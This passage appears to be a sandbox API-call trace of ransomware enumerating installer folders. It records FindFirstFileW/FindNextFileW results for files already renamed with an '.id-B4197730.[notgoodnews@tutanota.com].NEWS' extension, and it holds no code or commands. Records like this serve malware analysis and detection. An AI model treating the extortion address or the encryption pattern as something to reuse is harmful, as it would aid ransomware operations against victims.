ftLastAccessTime.dwLowDateTime=0x396d4d60, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x396d4d60, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x4258, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="SETUPR~1.NEW")) returned 0 [0191.415] FindClose (in: hFindFile=0x67a7b8 | out: hFindFile=0x67a7b8) returned 1 [0191.415] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3e70058 | out: hHeap=0x660000) returned 1 [0191.415] FindNextFileW (in: hFindFile=0x67a478, lpFindFileData=0x39ffa7c | out: lpFindFileData=0x39ffa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x391e9ef8, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x391e9ef8, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1038", cAlternateFileName="")) returned 1 [0191.416] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xfffe) returned 0x3e70058 [0191.416] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1038\\*", lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x391e9ef8, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x391e9ef8, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x67a7b8 [0191.417] FindNextFileW (in: hFindFile=0x67a7b8, lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x391e9ef8, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x391e9ef8, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0191.417] FindNextFileW (in: hFindFile=0x67a7b8, lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x391c3e95, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x391c3e95, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x391e9ef8, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x1184, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="EULART~1.NEW")) returned 1 [0191.417] FindNextFileW (in: hFindFile=0x67a7b8, lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x391e9ef8, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x391e9ef8, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x391e9ef8, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x152a6, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="LOCALI~1.NEW")) returned 1 [0191.417] FindNextFileW (in: hFindFile=0x67a7b8, lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x39a1c210, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x39a1c210, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x39a1c210, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x4a58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="SETUPR~1.NEW")) returned 1 [0191.417] FindNextFileW (in: hFindFile=0x67a7b8, lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x39a1c210, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x39a1c210, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x39a1c210, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x4a58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="SETUPR~1.NEW")) returned 0 [0191.417] FindClose (in: hFindFile=0x67a7b8 | out: hFindFile=0x67a7b8) returned 1 [0191.418] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3e70058 | out: hHeap=0x660000) returned 1 [0191.418] FindNextFileW (in: hFindFile=0x67a478, lpFindFileData=0x39ffa7c | out: lpFindFileData=0x39ffa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x392ced5f, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x392ced5f, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1040", cAlternateFileName="")) returned 1 [0191.418] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xfffe) returned 0x3e70058 [0191.418] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1040\\*", lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x392ced5f, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x392ced5f, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x67a7b8 [0191.419] FindNextFileW (in: hFindFile=0x67a7b8, lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x392ced5f, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x392ced5f, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0191.420] FindNextFileW (in: hFindFile=0x67a7b8, lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x392a8bcf, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x392a8bcf, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x392a8bcf, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0xf24, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="EULART~1.NEW")) returned 1 [0191.420] FindNextFileW (in: hFindFile=0x67a7b8, lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x392a8bcf, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x392a8bcf, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x392ced5f, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x139b6, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="LOCALI~1.NEW")) returned 1 [0191.420] FindNextFileW (in: hFindFile=0x67a7b8, lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x39805f41, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x39805f41, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x3982c17b, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x4858, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="SETUPR~1.NEW")) returned 1 [0191.420] FindNextFileW (in: hFindFile=0x67a7b8, lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x39805f41, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x39805f41, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x3982c17b, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x4858, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="SETUPR~1.NEW")) returned 0 [0191.420] FindClose (in: hFindFile=0x67a7b8 | out: hFindFile=0x67a7b8) returned 1 [0191.421] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3e70058 | out: hHeap=0x660000) returned 1 [0191.421] FindNextFileW (in: hFindFile=0x67a478, lpFindFileData=0x39ffa7c | out: lpFindFileData=0x39ffa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x39498ad6, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x39498ad6, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1041", cAlternateFileName="")) returned 1 [0191.421] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xfffe) returned 0x3e70058 [0191.421] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1041\\*", lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x39498ad6, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x39498ad6, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x67a7b8 [0191.422] FindNextFileW (in: hFindFile=0x67a7b8, lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x39498ad6, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x39498ad6, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0191.422] FindNextFileW (in: hFindFile=0x67a7b8, lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x392ced5f, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x392ced5f, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x394e4f30, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x2874, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="EULART~1.NEW")) returned 1 [0191.422] FindNextFileW (in: hFindFile=0x67a7b8, lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x394e4f30, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x394e4f30, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x394e4f30, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x10b86, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="LOCALI~1.NEW")) returned 1 [0191.423] FindNextFileW (in: hFindFile=0x67a7b8, lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x3982c17b, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x3982c17b, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x3982c17b, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x3e58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="SETUPR~1.NEW")) returned 1 [0191.423] FindNextFileW (in: hFindFile=0x67a7b8, lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x3982c17b, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x3982c17b, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x3982c17b, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x3e58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="SETUPR~1.NEW")) returned 0 [0191.423] FindClose (in: hFindFile=0x67a7b8 | out: hFindFile=0x67a7b8) returned 1 [0191.424] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3e70058 | out: hHeap=0x660000) returned 1 [0191.424] FindNextFileW (in: hFindFile=0x67a478, lpFindFileData=0x39ffa7c | out: lpFindFileData=0x39ffa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1042", cAlternateFileName="")) returned 1 [0191.424] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xfffe) returned 0x3e70058 [0191.424] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1042\\*", lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x67a7b8 [0191.429] FindNextFileW (in: hFindFile=0x67a7b8, lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0191.429] FindNextFileW (in: hFindFile=0x67a7b8, lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x3950d788, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x3950d788, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x3950d788, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x3274, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="EULART~1.NEW")) returned 1 [0191.429] FindNextFileW (in: hFindFile=0x67a7b8, lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x3953138c, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x3953138c, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x399837b7, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0xffd6, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="LOCALI~1.NEW")) returned 1 [0191.429] FindNextFileW (in: hFindFile=0x67a7b8, lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x39852453, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x39852453, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x39852453, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x3c58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="SETUPR~1.NEW")) returned 1 [0191.429] FindNextFileW (in: hFindFile=0x67a7b8, lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x39852453, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x39852453, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x39852453, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x3c58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="SETUPR~1.NEW")) returned 0 [0191.429] FindClose (in: hFindFile=0x67a7b8 | out: hFindFile=0x67a7b8) returned 1 [0191.430] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3e70058 | out: hHeap=0x660000) returned 1 [0191.430] FindNextFileW (in: hFindFile=0x67a478, lpFindFileData=0x39ffa7c | out: lpFindFileData=0x39ffa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1043", cAlternateFileName="")) returned 1 [0191.430] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xfffe) returned 0x3e70058 [0191.431] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1043\\*", lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x67a7b8 [0191.431] FindNextFileW (in: hFindFile=0x67a7b8, lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0191.432] FindNextFileW (in: hFindFile=0x67a7b8, lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x395575c9, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x395575c9, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x395575c9, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0xec4, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="EULART~1.NEW")) returned 1 [0191.432] FindNextFileW (in: hFindFile=0x67a7b8, lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x395575c9, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x395575c9, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x3957d995, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x13816, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="LOCALI~1.NEW")) returned 1 [0191.432] FindNextFileW (in: hFindFile=0x67a7b8, lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x39852453, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x39852453, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x39c20480, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x4c58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="SETUPR~1.NEW")) returned 1 [0191.432] FindNextFileW (in: hFindFile=0x67a7b8, lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x39852453, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x39852453, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x39c20480, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x4c58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="SETUPR~1.NEW")) returned 0 [0191.432] FindClose (in: hFindFile=0x67a7b8 | out: hFindFile=0x67a7b8) returned 1 [0191.433] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3e70058 | out: hHeap=0x660000) returned 1 [0191.433] FindNextFileW (in: hFindFile=0x67a478, lpFindFileData=0x39ffa7c | out: lpFindFileData=0x39ffa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1044", cAlternateFileName="")) returned 1 [0191.433] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xfffe) returned 0x3e70058 [0191.433] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1044\\*", lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x67a7b8 [0191.434] FindNextFileW (in: hFindFile=0x67a7b8, lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0191.434] FindNextFileW (in: hFindFile=0x67a7b8, lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x3957d995, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x3957d995, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x395f40e0, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0xcd4, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="EULART~1.NEW")) returned 1 [0191.434] FindNextFileW (in: hFindFile=0x67a7b8, lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x395a3fec, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x395a3fec, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x395a3fec, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x136c6, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="LOCALI~1.NEW")) returned 1 [0191.435] FindNextFileW (in: hFindFile=0x67a7b8, lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x39852453, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x39852453, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x398785fe, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x4658, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS", 